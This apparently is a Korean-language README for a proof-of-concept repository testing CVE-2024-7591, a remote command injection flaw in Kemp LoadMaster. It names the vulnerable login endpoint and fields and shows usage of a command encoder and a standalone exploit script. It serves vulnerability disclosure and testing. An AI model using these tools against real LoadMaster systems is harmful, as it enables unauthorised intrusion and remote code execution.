butyraldehyde/cve-2024-7591-poc이 PoC 파이썬 스크립트는 Kemp LoadMaster의 원격 코드 실행을 테스트합니다.
이 PoC 파이썬 스크립트는 Kemp LoadMaster의 원격 코드 실행 취약점을 테스트합니다.
이 도구는 테스트 목적으로만 사용해야 합니다.
이 스크립트는 이 취약점의 세부 사항에 관한 Marius Walter의 글을 기반으로 작성되었습니다. 해당 게시물은 다음에서 확인할 수 있습니다: https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591/
이 python3 스크립트는 LoadMaster를 CVE-2024-7591에 대해 테스트하기 위한 것입니다.
사용법:
KempRCECommandGenerator.py는 bash 명령어를 입력받아 취약한 LoadMaster에 대해 원격 명령을 실행하는 데 사용할 수 있는 인코딩된 형태로 변환합니다. 이 코드의 출력은 Burp Suite 또는 기타 도구와 함께 사용하여 서버에 원격 명령을 전송하기 위한 것입니다.
예시:
$: python3 ./KempRCECommandGenerator.py
Enter your command: echo hello
Put this output in the token, token2, user, or pass field
in the POST request to /progs/status/login.

$:
명령어 출력은 응답의 HTTP 헤더 이후, html 코드 이전에 나타나야 합니다.
KempExploit.py는 취약점 악용 가능 여부를 테스트하거나 사용자 정의 코드를 실행하기 위한 독립 실행형 파이썬 스크립트입니다.
전제 조건:
requests
urllib3
bs4
textwrap
예시:
$: python3 ./KempExploit.py -i 10.0.1.50 --verbose --secure
Enter your command to send or leave blank to test:
It looks like I found a target and some tokens. Do you want to proceed? [y/N]y
